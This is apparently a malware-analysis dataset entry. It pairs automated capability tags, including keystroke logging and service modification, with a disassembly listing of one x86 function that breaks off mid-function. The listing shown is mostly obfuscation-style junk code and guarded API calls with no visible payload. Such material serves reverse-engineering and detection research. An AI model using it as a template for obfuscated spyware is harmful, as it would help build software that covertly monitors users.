Function at 0x1002a17f
Capabilities:
Check os version
Compare security identifiers
Create directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get graphical window text
Log keystrokes
Modify service
Query service status
Read .ini file
Suspend thread

Disassembly:
mov eax, 0x10071d0d
call fcn.10071a70
mov eax, 0x118c
call fcn.1006e330
mov dword [ebp - 0x28], 0x9ad59e57
xor eax, eax
mov dword [ebp - 0x54], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
push ebx
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
push esi
push edi
mov byte [ebp - 0x81], dl
jge 0x1002a1d7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1a0], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002a1be
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_DrawEdge]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a206
push 0xdbf
push 0x1328
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
or ecx, 0xffffffff
push 2
pop esi
mov dword [ebp - 0x28], esi
push 1
pop edi
cmp dword [ebp - 0x28], eax
jl 0x1002a39d
mov dword [ebp - 0x1c], 0xbe4438b
mov dword [ebp - 0x4c], 0xe7bf5cbf
mov dword [ebp - 0x3c], 0xed997831
mov dword [ebp - 0x38], 0xfffd
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1a0], ecx
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x1002a392
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002a26a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xce8], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002a255
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002a280
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa14], 0xc0f3adc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002a26f
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1a0], 0xfffffff7
jge 0x1002a2a4
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1a0], 0
je 0x1002a2a4
mov esi, edi
jmp 0x1002a2a8
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x28]
cmp esi, eax
setge cl
sub ecx, edx
mov dword [ebp - 0x4c], ecx
je 0x1002a2c9
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x28], 0xc80ae7b1
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x1c]
jl 0x1002a2f7
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002a2f9
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1a0], 0
je 0x1002a2f7
mov eax, edi
jmp 0x1002a2f9
xor eax, eax
mov dword [ebp - 0xce4], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x198]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002a341
mov ecx, edi
cmp dword [ebp - 0x3c], eax
jne 0x1002a343
mov ecx, eax
mov eax, dword [ebp - 0x28]
xor edx, edx
push 2
pop esi
push 0
mov eax, dword [ebp + eax*4 - 0x1a0]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
mov dword [ebp + eax*4 - 0x1a0], edx
mov eax, dword [ebp - 0xa14]
cmp edx, eax
setge cl
neg ecx
add ecx, ecx
mov dword [ebp - 0xa14], ecx
mov eax, dword [ebp - 0x1a0]
inc dword [ebp - 0x1c]
pop eax
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x1c], esi
jle 0x1002a24c
or ecx, ecx
dec dword [ebp - 0x28]
jns 0x1002a218
xor eax, eax
mov dword [ebp - 0x28], 0x9ad59e57
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002a3d0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1dc], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002a3b7
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a3f9
push 0xdbf
push 0x1328
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x1002a58a
mov dword [ebp - 0x1c], 0xbe4438b
mov dword [ebp - 0x4c], 0xe7bf5cbf
mov dword [ebp - 0x3c], 0xed997831
mov dword [ebp - 0x38], 0xfffd
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1dc], ecx
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x1002a57f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002a457
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc70], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002a442
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002a46d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa38], 0xc0f3adc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002a45c
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1dc], 0xfffffff7
jge 0x1002a491
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1dc], 0
je 0x1002a491
mov esi, edi
jmp 0x1002a495
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x1dc]
mov eax, dword [ebp - 0x28]
cmp esi, eax
setge cl
sub ecx, edx
mov dword [ebp - 0x4c], ecx
je 0x1002a4b6
mov eax, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0x28], 0xc80ae7b1
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x1c]
jl 0x1002a4e4
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002a4e6
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1dc], 0
je 0x1002a4e4
mov eax, edi
jmp 0x1002a4e6
xor eax, eax
mov dword [ebp - 0xc6c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1dc]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1dc]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1dc]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1dc]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002a52e
mov ecx, edi
cmp dword [ebp - 0x3c], eax
jne 0x1002a530
mov ecx, eax
mov eax, dword [ebp - 0x28]
xor edx, edx
push 2
pop esi
push 0
mov eax, dword [ebp + eax*4 - 0x1dc]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
mov dword [ebp + eax*4 - 0x1dc], edx
mov eax, dword [ebp - 0xa38]
cmp edx, eax
setge cl
neg ecx
add ecx, ecx
mov dword [ebp - 0xa38], ecx
mov eax, dword [ebp - 0x1dc]
inc dword [ebp - 0x1c]
pop eax
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x1c], esi
jle 0x1002a439
or ecx, ecx
dec dword [ebp - 0x28]
jns 0x1002a405
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
push 0xfffffffffffffff6
pop ecx
jge 0x1002a5ae
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x108c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002a599
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a5cf
push 0x12ac
call esi
push eax
call edi
xor eax, eax
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x1002a5f5
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a5f0
push 0x12ac
call esi
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002a5db
mov dword [ebp - 0x14], 0x76820624
or ecx, 0xffffffff
push 7
mov dword [ebp - 0x2c], 0x2280
mov dword [ebp - 0x14], 0x1d
pop edx
jmp 0x1002a63c
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x4c], 0x9ec4279c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xf
jl 0x1002a639
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xf
jge 0x1002a625
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jne 0x1002a612
mov dword [ebp - 0x14], 0xa
cmp dword [ebp - 0x14], 0xb
jle 0x1002a6ba
xor edi, edi
mov dword [ebp - 0x3c], 0x1e6e2bfb
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002a679
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7a0], 0xf7e4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002a660
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x14], eax
je 0x1002a683
lea edx, [edi + 1]
mov eax, dword [ebp - 0x79c]
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x79c]
mov eax, dword [ebp - 0x3c]
setle cl
sub eax, 4
add edx, ecx
xor ecx, ecx
cmp eax, edx
push 0
setge cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xb
pop eax
jg 0x1002a650
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002a6df
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb0c], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002a6c7
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a727
push 0x253
push 0x660
push 0x2260
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1f6e
push 0x25d7
push 0x7ca
push 0x1f26
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a741
push 0x976
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
xor eax, eax
mov dword [ebp - 0x28], 0x9ad59e57
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002a777
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1b8], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002a75e
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a79c
push 0xdbf
push 0x1328
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], eax
jl 0x1002a939
xor edi, edi
inc edi
mov dword [ebp - 0x1c], 0xbe4438b
mov dword [ebp - 0x4c], 0xe7bf5cbf
mov dword [ebp - 0x3c], 0xed997831
mov dword [ebp - 0x38], 0xfffd
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1b8], ecx
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002a928
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002a802
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd30], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002a7ed
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002a818
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa4c], 0xc0f3adc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002a807
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1b8], 0xfffffff7
jge 0x1002a83c
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1b8], 0
je 0x1002a83c
mov esi, edi
jmp 0x1002a840
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x28]
cmp esi, eax
setge cl
sub ecx, edx
mov dword [ebp - 0x4c], ecx
je 0x1002a861
mov eax, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0x28], 0xc80ae7b1
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x1c]
jl 0x1002a88f
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002a891
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x1b8], 0
je 0x1002a88f
mov eax, edi
jmp 0x1002a891
xor eax, eax
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002a8d9
mov ecx, edi
cmp dword [ebp - 0x3c], eax
jne 0x1002a8db
mov ecx, eax
mov eax, dword [ebp - 0x28]
xor edx, edx
push 0
mov eax, dword [ebp + eax*4 - 0x1b8]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
mov dword [ebp + eax*4 - 0x1b8], edx
mov eax, dword [ebp - 0xa4c]
cmp edx, eax
setge cl
neg ecx
add ecx, ecx
mov dword [ebp - 0xa4c], ecx
mov eax, dword [ebp - 0x1b8]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
pop eax
push 0xffffffffffffffff
pop ecx
jle 0x1002a7e4
or ecx, ecx
dec dword [ebp - 0x28]
jns 0x1002a7af
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002a95e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf48], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002a945
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a979
push 0x12ac
call esi
push eax
call edi
xor eax, eax
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x1002a99f
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a99a
push 0x12ac
call esi
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002a985
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x1c], eax
jmp 0x1002a9bc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa1c], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002a9ab
imul eax, dword [ebp - 0xa18], 0xfda0
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002a9fe
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002a9fb
push 0x23be
push 0x12ec
push 0xc51
push 0x12d8
call dword [sym.imp.GDI32.dll_CreateRectRgn]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
jle 0x1002a9d6
mov dword [ebp - 0x24], 0xfffffff7
xor edx, edx
mov dword [ebp - 0x3c], 0x7a7bc6c8
inc edx
mov dword [ebp - 0x3c], 0x35b68906
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002aa40
push 7
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6e4], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002aa2b
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1002aa59
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdcc], 0x9d2e819d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002aa48
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x6e0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x6e4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x6e0]
mov eax, dword [ebp - 0x24]
add eax, 0x8e2
mov dword [ebp - 0xdc4], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x24]
jle 0x1002aaa4
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x1002aad1
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x294], 0x24ec2e0c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x1002aab8
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1002aaef
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x38c], edx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002aada
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x1002ab0f
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xde4], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002aaf7
xor eax, eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0xe
jg 0x1002ab92
mov dword [ebp - 0x1c], 0xd8cb4c23
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002ab47
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x105c], 0x2bb11acc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002ab2e
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002ab7a
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002ab60
call esi
push eax
call dword [sym.imp.USER32.dll_GetMenu]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002ab77
push 0x25b0
push eax
call dword [sym.imp.USER32.dll_GetSubMenu]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002ab4c
inc dword [ebp - 0x294]
cmp dword [ebp - 0x294], 0xe
jle 0x1002ab1e
xor edx, edx
inc edx
mov dword [ebp - 0x38c], edx
cmp dword [ebp - 0x38c], eax
jl 0x1002ac7b
push 7
pop edi
mov dword [ebp - 0x18], 0x2bd42ca8
mov dword [ebp - 0x4c], 0xfffffffb
mov eax, dword [ebp - 0x38c]
mov dword [ebp + eax*4 - 0x294], 0xdbea5223
xor eax, eax
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], eax
jl 0x1002ac67
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002abfc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e8], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002abe3
xor eax, eax
mov dword [ebp - 0x2e4], edx
cmp dword [ebp - 0x2e4], eax
jl 0x1002ac2e
mov eax, dword [ebp - 0x38c]
cmp dword [ebp + eax*4 - 0x294], 0
jne 0x1002ac2c
xor eax, eax
cmp dword [ebp - 0xde4], eax
jne 0x1002ac2c
dec dword [ebp - 0x2e4]
jns 0x1002ac0a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jg 0x1002ac5e
mov dword [ebp - 0x2c], edi
mov ecx, dword [ebp - 0x38c]
mov eax, dword [ebp - 0x2e4]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1002ac36
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x18]
jns 0x1002abd7
dec dword [ebp - 0x38c]
jns 0x1002aba7
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
mov dword [ebp - 0x14], 0x9ad59e57
or ecx, 0xffffffff
mov dword [ebp - 0x14], 0x76820624
mov dword [ebp - 0x2c], 0x2280
mov dword [ebp - 0x14], 0x1d
jmp 0x1002acd0
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x4c], 0x9ec4279c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xf
jl 0x1002accd
push 7
pop ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xf
jge 0x1002acb6
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jne 0x1002ac9c
mov dword [ebp - 0x14], 0xa
cmp dword [ebp - 0x14], 0xb
jle 0x1002ad49
mov dword [ebp - 0x3c], 0x1e6e2bfb
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002ad0b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x780], 0xf7e4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002acf2
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002ad12
mov edx, eax
mov eax, dword [ebp - 0x77c]
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x3c]
setle cl
sub eax, 4
add edx, ecx
xor ecx, ecx
cmp eax, edx
push 0
setge cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xb
pop eax
push 1
pop edx
jg 0x1002ace2
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x1002ad6e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9dc], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002ad56
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002adb6
push 0x253
push 0x660
push 0x2260
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1f6e
push 0x25d7
push 0x7ca
push 0x1f26
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002add0
push 0x976
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
xor eax, eax
push 0xfffffffffffffffa
pop edx
mov dword [ebp - 0x2c], edx
xor ecx, ecx
mov dword [ebp - 0x2c], 0xfffffff7
inc ecx
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], 0xac196a16
mov dword [ebp - 0x2c], 0x4173bf38
mov dword [ebp - 0x2c], 0x4ad744d0
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x3c], eax
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x1002ae35
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd74], 0x19570a50
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002ae1d
xor eax, eax
inc dword [ebp - 0x3c]
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x38], 0xad7d711e
mov dword [ebp - 0x3c], 0x7be0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002ae6f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6cc], 0x2c60edac
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002ae56
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002ae81
cmp dword [ebp - 0x3c], eax
je 0x1002ae81
mov dword [ebp - 0x6cc], ecx
jmp 0x1002ae8d
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6c4]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ecx
jge 0x1002ae9b
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002aeae
mov eax, dword [ebp - 0x6cc]
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jge 0x1002aed9
xor eax, eax
mov dword [ebp - 0x3c], 0xa5bed857
mov dword [ebp - 0x14], eax
jmp 0x1002aed2
inc dword [ebp - 0x3c]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1002aecc
jmp 0x1002aefa
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002aef8
push eax
push 0x21ae
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
xor ecx, ecx
xor eax, eax
inc ecx
jmp 0x1002aefa
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002af1c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1d0], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002af03
xor eax, eax
mov dword [ebp - 0x3c], 0x97e7c14a
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002af3c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002af2b
xor eax, eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], eax
je 0x1002afc8
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
sub ecx, eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
add ecx, dword [ebp - 0x6c]
mov byte [ebp - 0x3d], al
je 0x1002afb1
